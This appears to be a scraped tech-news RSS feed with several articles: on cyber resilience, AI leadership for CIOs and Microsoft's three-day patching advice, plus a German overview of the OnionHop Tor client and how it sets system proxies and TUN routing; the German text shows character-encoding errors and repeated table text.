Looking ahead, the conversation will continue to evolve beyond traditional cyber response. Because in an AI-enabled enterprise, the new question is whether the data within those systems can still be trusted. When AI systems make decisions based on enterprise data, the attack surface becomes the data’s accuracy. A threat actor who quietly corrupts a dataset over 90 days before a recovery event has done more damage than just downtime. They can poison the inputs driving decisions across the business.

Regardless of how AI will change threat intelligence and cyber response, these principles remain the same. Know your problem, whether structural or technological. Ensure your human infrastructure keeps pace with your technical infrastructure, with clear cross-functional ownership and the tools and knowledge to act autonomously. Communicate with your boards often — and correctly.

Let’s not wait for the next headline to ask, “Are we ready?” Have those conversations now. Test your assumptions. Close your gaps. Because in today’s threat landscape, resilience isn’t IT’s job — it’s everyone’s mandate.

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]]> <![CDATA[AI success requires a full-stack CIO]]> https://tsecurity.de/de/3688546/it-nachrichten/ai-success-requires-a-full-stack-cio/ https://tsecurity.de/de/3688546/it-nachrichten/ai-success-requires-a-full-stack-cio/ Thu, 23 Jul 2026 11:43:10 +0200 📰 IT Nachrichten tsecurity.de

Every CIO I speak with today is wrestling with some version of the same question: How do we move faster with AI and deliver on our commitments?

It’s an understandable concern. Boards and CEOs are asking about AI. Business leaders are experimenting with use cases. Employees are discovering tools daily, while technology vendors promise unprecedented gains in productivity, innovation, and competitive advantage.

After hundreds of conversations with technology executives over the past year, I’ve become convinced that speed isn’t the real issue. The organizations pulling away from the pack aren’t necessarily adopting AI faster than everyone else. They’re executing more effectively — a subtle distinction that represents one of the defining leadership challenges of the AI era.

Technology has never been the hardest part of transformation. People, priorities, culture, and operating models are the biggest challenges. The ability to translate bold boardroom aspirations into thousands of thoughtful decisions made every day by architects, engineers, product managers, analysts, and business leaders is where competitive advantage is created. AI may be accelerating the pace of change, but it hasn’t changed that fundamental truth.

I’ve met plenty of executives who are exceptional in the boardroom. They know how to frame a vision, influence a board, and build confidence among investors and business leaders. I’ve also met remarkable technologists who instinctively understand the architectural decisions, engineering tradeoffs, and implementation details that determine how great ideas become reality. Modern CIOs, however, must move comfortably between both worlds. Afshean Talasaz is one who stands out among this rare breed.

Long before becoming CIO of Colonial Pipeline, Talasaz built his career from the ground up as a business professional, data scientist, and technologist. He has designed enterprise platforms, built AI capabilities, led technology organizations, and partnered closely with executive leadership teams on business transformation. Today, as an executive in residence with our Practitioners for Practitioners (P4P) community, he helps CIOs and business leaders navigate one of the most significant technology shifts of our generation.

While Talasaz brings deep knowledge of data and AI to the table, his greatest strength is his ability to create strategy and connect it with execution. He can spend the morning discussing enterprise reinvention with the board and the afternoon debating architectural principles with the teams responsible for bringing that vision to life.

That versatility gives Talasaz a unique lens on how CIOs can deliver value with AI.

Software companies have a term for engineers who understand every layer of the technology stack: full-stack developers. Listen to Talasaz and it becomes evident that the AI era requires something similar from technology leaders: a full-stack CIO.

The full-stack CIO: Leading with clarity

A full-stack CIO understands how every layer of the enterprise influences the next. They recognize that every strategic priority becomes a portfolio investment, every investment shapes an operating model, every operating model influences architecture, every architecture choice informs product decisions, every product decision shapes engineering priorities.

The best CIOs understand both ends of that journey. The extraordinary ones understand everything in between.

And those who execute best lead with clarity, Talasaz says.

“Everyone, from executives to middle managers to the people writing code, should be able to explain what we’re trying to achieve,” he emphasizes. “Clarity isn’t that we’ve handed out the PowerPoint. It’s that people genuinely understand where we’re going and can articulate it in their own language.”

One of the unintended consequences of the AI boom is that organizations are beginning to confuse activity with alignment. They have AI councils, AI governance committees, AI innovation labs, AI centers of excellence, AI pilots, and AI roadmaps. Yet if you stop ten people in the hallway and ask a deceptively simple question, What business problem are we actually trying to solve? you’ll often hear ten different answers.

As a result, architects optimize for one objective while product teams optimize for another. Business units pursue opportunities that seem perfectly reasonable from their perspective. Engineers make thoughtful technical decisions based on the information available to them. Individually, none of those decisions are necessarily wrong. Collectively, however, they create organizational drift. AI doesn’t create that problem. It simply accelerates the consequences.

And while AI can be a force multiplier for the positive when every decision is guided by a shared understanding of where the organization is headed, it can also be a force multiplier for the negative, resulting in an organization simply moving faster in different directions.

“When we have the fundamentals right, the tech infrastructure, the operating models, the nuances of how our business actually runs, we get the impacts of AI in a positive way,” Talasaz says. “When we don’t have those in place, AI can amplify the gaps or mute the benefits.”

At a time when so much of the conversation surrounding AI is focused on algorithms, agents, and automation, it’s an important reminder that organizations don’t execute strategy; people do.

Reducing organizational friction

Most executives are familiar with the concept of VUCA that characterizes today’s business environment. But Talasaz stresses the importance of turning this concern inward: “If the world outside our organizations is becoming more volatile, uncertain, complex, and ambiguous, what are we, as leaders, doing to the inside of our organizations?”

Leaders spend enormous amounts of time helping their organizations respond to external disruption but comparatively little time asking whether they are inadvertently re-creating those same conditions internally in response to those external needs. Are we reducing uncertainty or introducing more of it? Are we simplifying work or adding unnecessary complexity? Are we helping people focus on what matters most, or asking them to navigate competing priorities and shifting expectations?

Talasaz refers to this phenomenon as double VUCA — something I’ve witnessed repeatedly while working with CIOs over the past decade. Organizations often assume they’re struggling because of technology limitations when the real constraint is organizational friction. Teams wait for decisions. Priorities shift faster than roadmaps. Governance grows heavier. New committees are formed to solve problems created by existing committees. Everyone is working harder, yet the organization somehow feels slower.

AI amplifies both outcomes. Organizations with clarity become dramatically more effective because AI accelerates good decisions. Organizations without clarity simply accelerate confusion.

Operating model as strategy enabler

AI governance is one way to achieve greater clarity, but as Talasaz says, governance shouldn’t primarily exist inside policy manuals that few people read.

Instead, AI governance should be embedded in the daily rhythms of the organization, shaping how teams collaborate, how decisions are made, how products move from ideas into production, and how innovation happens safely without requiring constant escalation. In other words, it’s all about your operating model.

“If you had to pick one thing that isn’t technology, your operating model is the most important element for executing data and AI at scale,” he says.

The best operating models create enough clarity that capable people can make thousands of decisions independently and confidently, without having to wait for permission. By embedding good governance into the way it works, the organization becomes faster.

This advice echoes something I’ve heard repeatedly from some of the world’s most respected CIOs: High-performing organizations aren’t built on tighter control; they’re built on greater trust, supported by clear principles, shared expectations, and operating models that enable responsible decision-making at every level of the enterprise.

Talasaz points out that technology leaders tend to speak in terms of transformation. He suggests CIOs consider a different word: reinvention.

As he explains, transformation implies replacing what exists today with something new. Reinvention starts with a more clear-eyed and practical premise: Some things absolutely must change; others represent years, sometimes decades, of accumulated expertise, customer trust, operational discipline, and competitive advantage.

Reinvention is about building on those strengths while also creating new ways to deliver value. The leaders making the greatest progress in their AI journeys seem to recognize that it’s less about abandoning the past than thoughtfully preparing the organization for the future.

Closing the gap between strategy and execution

Full-stack CIOs must be able to map out the various layers of execution and planning that need to be done at every level of the organization to be successful. To help with this, Talasaz has developed a data and AI framework that draws on his own experiences “from the keyboard to the boardroom.”

As Talasaz sees it, too many organizations have been doing good work in isolation. “They’re doing a lot of the right things,” he says. “They’re just not connected.”

Boards may be discussing growth while business leaders redesign customer experiences. Product teams may be prioritizing new capabilities while architects modernize platforms. Data teams may be improving quality while engineers focus on delivery. Every group makes meaningful progress within its own domain, yet somewhere between strategy and execution, the connective tissue begins to disappear. Talasaz’s framework brings those connecting points to the forefront.

Crucially, the framework doesn’t begin with technology or AI or even with data. It begins with the experiences the organization hopes to create for its customers, employees, or partners. Many AI initiatives start with the question, “What can this technology do?” And indeed, we need to be inspired by the possibilities and challenged to think differently by what the technology can do. But, Talasaz emphasizes, we also need to ask what experiences we need to deliver for our business and how the technology can make that a reality.

The framework challenges CIOs to answer that question first. Only after the experiences are clearly defined does the conversation move to the capabilities required to deliver it, the business activities that support those capabilities, the AI and data products that enable them, and finally the data foundation that makes everything possible.

This shift in perspective ensures that, rather than allowing technology investments to search for business value, the business experience defines the technology required to deliver it. For CIOs, that’s more than a planning exercise. It’s a fundamentally different way of leading.

Over the coming months, the P4P community will be convening a series of small CxO roundtables to explore these issues and work more deeply with Afshean Talasaz’s 6×6 Data and AI Framework. CIOs and other enterprise leaders interested in participating are welcome to reach out to me directly.

]]> <![CDATA[MANGOS is not the endgame. It is the beginning]]> https://tsecurity.de/de/3688511/it-nachrichten/mangos-is-not-the-endgame-it-is-the-beginning/ https://tsecurity.de/de/3688511/it-nachrichten/mangos-is-not-the-endgame-it-is-the-beginning/ Thu, 23 Jul 2026 11:20:55 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[Microsoft’s 3-day patching directive comes with added operational risk]]> https://tsecurity.de/de/3688232/it-security-nachrichten/microsofts-3-day-patching-directive-comes-with-added-operational-risk/ https://tsecurity.de/de/3688232/it-security-nachrichten/microsofts-3-day-patching-directive-comes-with-added-operational-risk/ Thu, 23 Jul 2026 09:10:44 +0200 📰 IT Security Nachrichten tsecurity.de

Microsoft 365 Director Jeremy Chapman this month took to video to tell Windows admins that the days of delaying security patches are over.

Complex enterprise systems and historic incidents involving patch problems have caused many admins to hold fire on immediately applying security patches, in many cases deferring patch rollouts for two to four weeks or more to ensure stability. Microsoft argues that this cautious approach, though understandable, is no longer viable because AI is accelerating the discovery and exploitation of software vulnerabilities.

As a result, Microsoft has advised admins to act on patches within three days.

Independent experts agree with Microsoft’s diagnosis of the problems posed by AI-powered vulnerability discovery, but many say Microsoft’s three-day remediation window is unrealistic for large enterprises with heavy testing, change-control, and compatibility constraints.

Instead of taking a blanket approach, enterprises need to focus more on quickly resolving those vulnerabilities that are under active exploitation and relevant to their environments, according to critics of Microsoft’s revised approach.

Tighter patching deadlines

Microsoft’s revised vulnerability remediation advice comes in the wake of its work with Anthropic’s Project Glasswing and findings from Microsoft’s own MDASH multi-model agentic scanning harness. Tighter patching deadlines are configurable via Windows Autopatch and Microsoft Intune or update tooling options such as Microsoft Configuration Manager and Windows Server Update Services.

As IT environments become increasingly more complex, inadvertent issues can occur with what appears to be a simple patch.

Unique or complex deployments may not be compatible with a patch, resulting in potential data corruption, system shutdown, or the dreaded “Blue Screen of Death.” Multiple vendors in the operating system and the enterprise software and security market have released patches that have broken products and caused outages, so the issue goes well beyond Windows shops.

Increasing both the volume and the speed of patching is unsustainable for most security teams because organizations are already struggling with successful remediation as it is.

“Many organizations have patch windows, review cycles, and test environments to identify these issues prior to patching production environments,” says Scott Caveza, senior research manager at exposure management and vulnerability assessment firm Tenable. “Organizations lacking the resources for extended validation risk deploying faulty patches that cause downtime or force last-minute configuration changes.”

Caveza adds: “The mitigation steps will vary for each organization, but blindly relying on auto-updates without contextual validation is not a defensible security posture.”

CISA’s Known Exploited Vulnerabilities list and other industry data suggest that only a small fraction of disclosed vulnerabilities are confirmed as exploited in the wild.

“[Enterprises should focus on] identifying vulnerabilities with credible and functional PoCs, verified exploitation, or sustained attention from ransomware groups, threat actors, and botnets,” says Caitlin Condon, vice president of security research at VulnCheck. “Timely exploit intelligence helps organizations identify the bugs that require immediate attention, while allowing lower-risk issues to proceed through appropriate testing and change control.”

Other independent experts are more sympathetic to Microsoft’s argument that AI has made vulnerability discovery and exploit development faster than ever and, as a result, the risks of delaying patches are far greater.

“Organizations sometimes delay patches to protect the uptime of critical systems, and many updates still require a restart,” says Danny Jenkins, CEO and co-founder at endpoint protection technology vendor ThreatLocker. “Some teams also stay one update cycle behind because they are concerned that a new patch could introduce bugs or break an overlooked dependency. Unfortunately, delaying patches to preserve uptime is becoming much harder to justify.”

Jenkins adds: “Organizations should not leave critical systems exposed while waiting for the next maintenance window. Patches should still be tested, but that process needs to move quickly, with the highest priority given to vulnerabilities that are actively exploited or exposed to the internet. A controlled interruption is usually far less costly than a successful attack exploiting a known vulnerability.”

Wider cross-industry impact

Microsoft’s three-day recommendation reflects a fundamental change in the threat landscape. Other vendors might be expected to follow suit and that means CISOs need to revise their approach to vulnerability remediation.

“Organizations should expect faster disclosure-to-exploitation timelines to become the norm, which means security programs must emphasize automation, trusted software supply chains, and continuous visibility rather than relying on periodic maintenance windows,” says Mike Nelson, VP and field CTO at DigiCert.

AI is compressing the time between vulnerability discovery and exploitation, and the industry is moving rapidly from 30-, 60-, and 90-day patching windows toward a matter of days.

However a “blanket three-day requirement for every vulnerability is neither realistic nor safe for most large organizations,” says Jeff Williams, founder and CTO at Contrast Security.

Failing to patch opens up security threats, but rushing an inadequately tested patch into production creates operational risk.

“The goal cannot be to treat every CVE [vulnerability] as an emergency,” according to Williams. “It has to be identifying, within hours, which vulnerabilities are actually exploitable and require immediate action.”

Holistic remediation

Security teams are already facing significant pressure to patch faster and to remediate a rising tide of new vulnerabilities, yet many practitioners are losing ground. Verizon’s Data Breach Investigation Report, published earlier this year, found that the median time to patch had actually increased to 43 days.

Patch deployment in enterprise environments involves configuration changes, reviews, testing, and validation.

Enterprises need to become more proficient at exposure management so that they have a holistic view of their environment that’s necessary to identify which assets are at greatest risk.

“By pinpointing the misconfigurations, identity flaws, and specific vulnerabilities that pose the greatest risk to their environment, security teams can prioritize exactly what to patch first,” Tenable’s Caveza says. “The idea of ‘patch everything’ is really outdated, and ‘patch faster’ isn’t feasible with the rapidly increasing number of vulnerabilities disclosed each day.”

CISOs will have to re-engineer their vulnerability and exposure management processes. “The traditional model of scanning everything, assigning generic severity scores, and tilting at a massive and expanding backlog is no longer fast enough,” says Contrast Security’s Williams.

Organizations need to identify the small number of vulnerabilities that matter, protect against them immediately, and remediate them on a timeline the business can safely support.

Enterprises should prioritize on resolving “internet facing, remotely exploitable vulnerabilities and any of the CISA Known Exploited Vulnerability list,” says Jose Lejin, an IEEE senior member.

Businesses that cannot safely validate and deploy patches within three days still have options, including “compensating controls, reducing an asset’s exposure, or in some cases removing the component entirely, all of which shrink the exploitable risk and buy time to patch properly,” says Brad Hibbert, CSO of vulnerability management provider Brinqa.

]]> <![CDATA[iOS 27 CarPlay: Every New Feature Coming This Fall]]> https://tsecurity.de/de/3688187/ios-mac-os/ios-27-carplay-every-new-feature-coming-this-fall/ https://tsecurity.de/de/3688187/ios-mac-os/ios-27-carplay-every-new-feature-coming-this-fall/ Thu, 23 Jul 2026 08:57:19 +0200 🍏 iOS / Mac OS tsecurity.de <![CDATA[Digitale Selbstbestimmung: OnionHop leitet euren gesamten Datenverkehr durch das Tor-Netzwerk (Linux/Win/Mac)]]> https://tsecurity.de/de/3687868/it-security-nachrichten/digitale-selbstbestimmung-onionhop-leitet-euren-gesamten-datenverkehr-durch-das-tor-netzwerk-linuxwinmac/ https://tsecurity.de/de/3687868/it-security-nachrichten/digitale-selbstbestimmung-onionhop-leitet-euren-gesamten-datenverkehr-durch-das-tor-netzwerk-linuxwinmac/ Thu, 23 Jul 2026 04:14:01 +0200 📰 IT Security Nachrichten tsecurity.de

OnionHop – Überblick

OnionHop — route your traffic through Tor, with clear controls ist ein moderner plattformĂŒbergreifender Desktop-Client (fĂŒr Windows, Linux und macOS) mit starkem Fokus auf PrivatsphĂ€re. Er ermöglicht es Nutzern, ihren Datenverkehr ĂŒber das Tor-Netzwerk zu leiten. Es handelt sich um ein unabhĂ€ngiges Open-Source-Projekt, das nicht offiziell mit dem Tor Project | Anonymity Online verbunden ist. Die OnionHop OberflĂ€che bietet 8 Sprachen (Englisch, Deutsch, Französisch, Chinesisch, Russisch, Persisch, Aserbaidschanisch und Sorani Kurdisch).

Melden Sie sich freiwillig als Snowflake-Proxy helfen Sie zensierten Benutzern, Tor direkt von den Einstellungen aus zu erreichen (siehe Einstellungen).

Hauptfunktionen

  • Proxy-Modus: Leitet den Datenverkehr ressourcenschonend ĂŒber einen lokalen SOCKS-Proxy um, ohne dass Administratorrechte benötigt werden. Ein Knopfdruck auf "System Proxy: On" und alle gĂ€ngigen Browser benutzen das Tor Netzwerk.
  • TUN-Modus (eigene virutelle Netzwerkkarte): Leitet den Datenverkehr des gesamten Systems (alle Apps) mit einem Klick ĂŒber das Tor-Netzwerk um.
  • Split-Tunneling: Ermöglicht die individuelle Auswahl, welche Apps ĂŒber Tor laufen und welche direkte Verbindungen nutzen.
  • Kill-Switch: Blockiert den ausgehenden Datenverkehr sofort, wenn die Tor-Verbindung abbricht, um ungeschĂŒtzte Datenlecks zu verhindern.
  • DNS-Steuerung: Erzwingt DNS-Anfragen ĂŒber Tor und verhindert Lecks zum Internetanbieter (inklusive QUIC/UDP-Leckschutz).
  • LĂ€nder- & Seiten-Routing: Erlaubt direkte Verbindungen fĂŒr bestimmte LĂ€nder oder das Blockieren von Domains basierend auf automatisch aktualisierten Listen.
  • CLI-Client: Bietet eine Kommandozeilenversion ohne grafische OberflĂ€che, ideal fĂŒr Server und Automatisierungen. Zensurumgehung und Netzwerktechnologien
  • Smart Connect: WĂ€hlt automatisch die optimale Engine, Route und Bridge fĂŒr das aktuelle Netzwerk.
  • Integrierter Bridge-Scanner: Sucht und testet automatisch funktionierende BrĂŒcken (Bridges) in restriktiven Netzwerken, sodass keine manuelle Eingabe erforderlich ist.
  • Pluggable Transports: UnterstĂŒtzt Protokolle wie obfs4, snowflake, webtunnel, conjure, meek, dnstt und vanilla, um Netzwerkblockaden zu umgehen.
  • Tor-Engines: Nutzt Classic (tor), Arti (A Rust Tor Implementation (Gitlab Changelog) oder https://arti.torproject.org/ fĂŒr die Nerds Improving Tor using a TCP-over-DTLS Tunnel (PDF, englisch), bald schon mit UDP UnterstĂŒtzung 339 / 348-udp-app-support - Tor design proposals (Tor Architektur), dies ist die Zukunft von Tor, weg von C mit seinen historisch vielen Buffer Overflows ~65% aller Tor SicherheitslĂŒcken, mit RPC-Schnittstelle (Remote Procedure Call / Methodenaufruf auf entfernten Systemen / Software) und UDP fĂŒr moderne Anwendungen)

Da Transparenz bei Software fĂŒr die informationelle Selbstbestimmung das Wichtigste ist, ist das gesamte Projekt quelloffen (Open Source). Ihr könnt euch den Quellcode jederzeit auf GitHub ansehen, ihn selbst kompilieren oder Code-ÜberprĂŒfungen (Code Reviews) durchfĂŒhren:

👉 GitHub-Repository: center2055/OnionHop: Privacy-first Desktop app that routes your traffic through Tor - Anonymous browsing made simple

Die Software steht fĂŒr Linux, Windows und macOS zur VerfĂŒgung (es gibt auch tragbare Versionen, die nicht installiert werden mĂŒssen). Neben der grafischen OberflĂ€che gibt es fĂŒr Automatisierungen auch eine reine Kommandozeilen-Version (CLI).

Systemweite Socks5 Proxy vs. TUN VPN-Technik Modus mit eigener virtuellen Netzwerkkarte (TUN)

Um zu verstehen, warum der TUN oft sicherer ist, hilft ein direkter Vergleich:

Eigenschaft Systemweiter Vermittlungsserver (System SOCKS5 Proxy) TUN "Netzwerktunnel"(OSI Layer 3) "virtuellen Netzwerkadapter" nicht TAP wie bei VPN Layer 2
Arbeitsweise Setzt darauf, dass Programme die Regeln des Betriebssystems respektieren und die Poststelle nutzen. Zwingt den gesamten Netzwerkverkehr auf tiefer Ebene durch einen Trichter.
ZuverlÀssigkeit Manche Programme (z. B. bestimmte Spiele oder Hintergrunddienste) ignorieren diese Einstellungen und funken direkt ins Internet. FÀngt alles ab, völlig unabhÀngig davon, wie das einzelne Programm programmiert ist.
Schutz vor Datenlecks Es kann vorkommen, dass Informationen (wie Adressanfragen) ungeschĂŒtzt nach außen dringen (Datenlecks). Bietet einen sehr hohen Schutz vor Datenlecks, da kein Datenpaket die Straßensperre umgehen kann. Eigenschaft Systemweiter Vermittlungsserver (SOCK5 Proxy) TUN-ModusArbeitsweise Setzt darauf, dass Programme die Regeln des Betriebssystems respektieren und die Poststelle nutzen. Zwingt den gesamten Netzwerkverkehr auf tiefer Ebene durch einen Trichter. ZuverlĂ€ssigkeit Manche Programme (z. B. bestimmte Spiele oder Hintergrunddienste) ignorieren diese Einstellungen und funken direkt ins Internet. FĂ€ngt alles ab, völlig unabhĂ€ngig davon, wie das einzelne Programm programmiert ist. Schutz vor Datenlecks Es kann vorkommen, dass Informationen (wie Adressanfragen) ungeschĂŒtzt nach außen dringen (Datenlecks). Bietet einen sehr hohen Schutz vor Datenlecks, da kein Datenpaket die Straßensperre umgehen kann.

Zusammenfassung: Warum es beide Modi (System SOCKS5 Proxy und TUN) gibt

Genau an diesem Punkt zeigt sich, warum Werkzeuge wie OnionHop unterschiedliche Modi anbieten mĂŒssen:

  1. Der System SOCKS5 Proxy-Modus (Anwendung muss Socks5 fĂ€hig sein z.B. alle Internet Browser): Er ist sehr ressourcenschonend und leichtgewichtig. Er eignet sich hervorragend, wenn du gezielt nur die Anwendungen ĂŒber das Tor-Netzwerk leiten möchtest, die diesen Standard unterstĂŒtzen (wie deinen Browser).
  2. Der TUN-Modus "virtuelle Netzwerkkarte": Er löst exakt das Problem der fehlenden UnterstĂŒtzung in Programmen. Wie wir zuvor besprochen haben, baut dieser Modus eine **virtuelle Netzwerkkarte (**sichtbar unter "Netzwerkverbindungen" unter Windows, WIN + R = ncpa.cpl) auf und zwingt das Betriebssystem, alles dorthin zu leiten. Hierbei ist es völlig egal, ob ein Programm von Vermittlungsservern weiß oder nicht – die Daten werden auf einer Ebene abgefangen, der sich kein Programm entziehen kann.

FĂŒr die Entwickler unter euch: Wie Ă€ndert man den System-Proxy eigentlich programmatisch?

Wer schon lĂ€nger in der Softwareentwicklung tĂ€tig ist, kennt das Problem bei der plattformĂŒbergreifenden Programmierung: Ein einheitliches Vorgehen gibt es hier leider nicht. Jedes Betriebssystem kocht sein eigenes SĂŒppchen, was bei Werkzeugen wie OnionHop unter der Haube einigen Aufwand bedeutet. Hier ist ein kleiner technischer Einblick, wie der Code das im Hintergrund löst:

1. Windows: Die Registrierungsdatenbank und WinINet Einfach nur Werte in eine Konfigurationsdatei zu schreiben, reicht hier nicht. Zuerst mĂŒssen die Werte in der Registrierungsdatenbank (im Zweig HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings) manipuliert werden (z. B. ProxyEnable auf 1 und ProxyServer auf 127.0.0.1:9050). Der entscheidende Schritt ist danach aber, das System ĂŒber diese Änderung zu benachrichtigen, da laufende Anwendungen (wie der Browser) die neuen Werte sonst ignorieren. DafĂŒr muss ein Aufruf der Windows-Systembibliothek wininet.dll erfolgen. Über die Programmierschnittstelle (API) InternetSetOption feuert man die Markierungen (Flags) INTERNET_OPTION_SETTINGS_CHANGED und INTERNET_OPTION_REFRESH ab, um das System zum sofortigen Neuladen zu zwingen.

2. Linux: Die große Fragmentierung Gerade wenn man in hybriden Umgebungen (wie dem Windows-Subsystem fĂŒr Linux oder mit Container-Lösungen) entwickelt, merkt man schnell: Linux hat keine zentrale Instanz fĂŒr diese Einstellungen.

  • Kommandozeile und Hintergrunddienste: Diese reagieren fast ausschließlich auf Umgebungsvariablen wie http_proxy oder ALL_PROXY. Diese mĂŒssen durch das Programm systemweit oder in den jeweiligen Startskripten (z. B. ~/.bashrc) gesetzt werden.
  • GNOME-Desktop: Hier wird die Konfigurationsdatenbank (dconf) genutzt. Programmatisch löst man das ĂŒber die C-Programmierschnittstelle von GLib oder einfacher durch das AusfĂŒhren von Systembefehlen im Hintergrund (z. B. gsettings set org.gnome.system.proxy mode 'manual').
  • KDE Plasma: Speichert die Konfiguration in Textdateien (~/.config/kioslaverc), die von der Software analysiert und editiert werden mĂŒssen, gefolgt von einem Befehl zum Neustart der zustĂ€ndigen KDE-Dienste.

3. macOS: SystemConfiguration Framework Apple regelt das Netzwerkmanagement streng ĂŒber die einzelnen Hardware-Schnittstellen (WLAN, Kabelnetzwerk etc.).

  • Der skriptbasierte Weg: Ein Programm ruft im Hintergrund das vorinstallierte Kommandozeilen-Werkzeug networksetup auf, um den Vermittlungsserver fĂŒr jede aktive Netzwerkschnittstelle einzeln zu setzen (z. B. networksetup -setsocksfirewallproxy "Wi-Fi" 127.0.0.1 9050).
  • Der native Weg: Die Software greift direkt ĂŒber C oder Swift auf das SystemgerĂŒst SystemConfiguration zu. Über die Programmierschnittstelle SCDynamicStore klinkt man sich in den Konfigurationsspeicher ein, schreibt ein Datenverzeichnis mit den neuen Werten in den Pfad State:/Network/Global/Proxies und teilt so dem Kernel die NetzwerkĂ€nderung ohne Umwege direkt mit.

Wie Onionhop unter Windows den Datenverkehr ĂŒber virtuelle Netzwerkschnittstellen (TUN) lenkt

Die Magie passiert ĂŒber virtuelle Netzwerkschnittstellen (TUN-Modus) und gezielte Manipulation der Wegfindung (Routing).

1. Der virtuelle Netzwerktreiber

Windows nutzt fĂŒr Netzwerkkarten die sogenannte Network Driver Interface Specification (NDIS). Tools wie Onionhop installieren einen virtuellen Treiber (oft auf Basis von Wintun).

Auf der Ebene des Betriebssystemkerns (Kernel-Ebene) ist dieser Treiber eine vollwertige Netzwerkkarte. Das System sieht absolut keinen Unterschied zu eurem echten WLAN-Modul oder Netzwerkkabel. Dieser Adapter arbeitet auf der Vermittlungsschicht (Layer 3). Er verarbeitet also reine IP-Datenpakete (Internetprotokoll) und simuliert keine Hardware-Adressen (MAC-Adressen) der tieferen Schichten.

2. Die Übernahme der Wegfindung (Routing)

Damit Windows die Daten nicht ans WLAN, sondern an Onionhop schickt, wird die Wegfindungstabelle (Routingtabelle) dynamisch angepasst, sobald die Verbindung steht:

  • Onionhop fĂŒgt eine neue Standardroute (0.0.0.0/0 – also den Weg fĂŒr "alle unbekannten Ziele im Internet") hinzu, die auf die virtuelle TUN-Schnittstelle zeigt.
  • Der entscheidende Trick: Diese neue Route bekommt einen niedrigeren PrioritĂ€tswert (Metrik) als der echte WLAN-Adapter. Da Windows bei konkurrierenden Routen immer den Weg mit dem niedrigsten Wert wĂ€hlt, fließt der gesamte ausgehende Datenverkehr des Systems ab sofort in den virtuellen Tunnel.

3. Datenkapselung im Anwendungsbereich (User-Space)

Jetzt landen die Daten (Nutzdaten) bei der Onionhop-Anwendung, die als Hintergrunddienst lÀuft:

  1. Die Anwendung lauscht an der virtuellen Schnittstelle und fÀngt die IP-Pakete ab.
  2. Sie verschlĂŒsselt diese Nutzdaten.
  3. Die verschlĂŒsselten Pakete werden nun mit einer neuen Ziel-IP versehen (dem ersten Knotenpunkt im Onion-Netzwerk). Das nennt man Datenkapselung (Encapsulation).
  4. Erst jetzt ĂŒbergibt Onionhop diese neu verpackten Pakete wieder an den Windows-Netzwerkstapel.

Die Wegfindungstabelle von Windows sieht nun diese spezifische Ziel-IP des Einsteiger-Knotens und weiß: "Ah, diese IP muss ĂŒber das echte Standard-Gateway des physischen WLAN-Adapters raus."

Der echte WLAN-Adapter dient also nur noch als reines Transportmedium fĂŒr den bereits gekapselten und verschlĂŒsselten Datenverkehr. Die eigentlichen Programme (wie der Browser) denken wĂ€hrenddessen, sie sprechen mit einer ganz normalen Netzwerkkarte.

Zum SelbstprĂŒfen fĂŒr die Kommandozeile:

Wer sich das beim Testen von Onionhop live ansehen will, kann die PowerShell nutzen:

  • Versteckte Schnittstellen anzeigen:
  • PowerShellGet-NetAdapter -IncludeHidden
  • Wegfindung und PrioritĂ€ten prĂŒfen:
  • PowerShellGet-NetRoute -DestinationPrefix "0.0.0.0/0"

Was ist die Abgrenzung zu einem "echten" VPN wie z.B. ProtonVPN?

Eigenschaft OnionHop (Tor-Netzwerk) Klassisches VPN (z.B. ProtonVPN)
Architektur Dezentral. Deine Daten fließen ĂŒber drei zufĂ€llige, weltweit verteilte Knotenpunkte. Zentralisiert. Deine Daten fließen direkt durch einen festen Server des VPN-Anbieters.
Vertrauensmodell Trustless. Du musst niemandem vertrauen. Der erste Knoten kennt dich (aber nicht das Ziel), der letzte Knoten kennt das Ziel (aber nicht dich). Vertrauensbasiert. Du musst deinem VPN Anbieter zu 100 % vertrauen, da sie deinen gesamten unverschlĂŒsselten Datenverkehr sehen können.
Protokolle Tor transportiert prinzipbedingt nur TCP-Verbindungen. UDP (wichtig fĂŒr Online-Spiele oder VoIP) wird blockiert. ÜbertrĂ€gt TCP, UDP und oft auch ICMP (Ping) vollstĂ€ndig. Eigenschaft OnionHop (Tor-Netzwerk) Klassisches VPN (z.B. ProtonVPN) Architektur Dezentral. Deine Daten fließen ĂŒber drei zufĂ€llige, weltweit verteilte Knotenpunkte. Zentralisiert. Deine Daten fließen direkt durch einen festen Server des VPN-Anbieters. Vertrauensmodell Trustless. Du musst niemandem vertrauen. Der erste Knoten kennt dich (aber nicht das Ziel), der letzte Knoten kennt das Ziel (aber nicht dich). Vertrauensbasiert. Du musst deinem VPN Anbieter zu 100 % vertrauen, da sie deinen gesamten unverschlĂŒsselten Datenverkehr sehen können.Protokolle Tor transportiert prinzipbedingt nur TCP-Verbindungen. UDP (wichtig fĂŒr Online-Spiele oder VoIP) wird blockiert. ÜbertrĂ€gt TCP, UDP und oft auch ICMP (Ping) vollstĂ€ndig.

Das Virtuelle Private Netzwerk (VPN): Tiefer Eingriff auf Schicht 2 und 3

Ein VPN verhĂ€lt sich fĂŒr das Betriebssystem wie eine echte, physische Netzwerkkarte – nur eben als virtuelle Variante (Netzwerkschnittstelle). Es greift tief in das System ein und fĂ€ngt den gesamten Datenverkehr ab, bevor dieser das GerĂ€t verlĂ€sst.

  • Auf der Vermittlungsschicht (Schicht 3 / Network Layer): Hier arbeiten die meisten modernen VPN-Verbindungen (wie WireGuard oder IPsec). Sie verpacken (kapseln) komplette IP-Datenpakete. Das bedeutet, dass die gesamte Netzkopplung (Routing) ĂŒbernommen wird. Jeder Datenverkehr – egal ob gesicherte Verbindungsaufbauten (TCP), verbindungslose Übertragungen (UDP) oder Diagnoseabfragen (ICMP, wie bei einem Ping) – wird in den verschlĂŒsselten Tunnel gezwungen.
  • Auf der Sicherungsschicht (Schicht 2 / Data Link Layer): Einige VPN-Lösungen beherrschen auch die sogenannte NetzwerkĂŒberbrĂŒckung (Bridging, z. B. OpenVPN im TAP-Modus). Hier werden die rohen Datenrahmen (Ethernet Frames) ĂŒbertragen. Das System verhĂ€lt sich so, als wĂ€ren alle Rechner ĂŒber hunderte Kilometer hinweg an denselben physischen Netzwerkverteiler (Switch) angeschlossen. In diesem Modus werden sogar lokale Netzwerk-Rundrufe (Broadcasts) durch den Tunnel ĂŒbertragen.

Das Zwiebelnetzwerk (Tor): Aufsatz auf Schicht 4 und 7

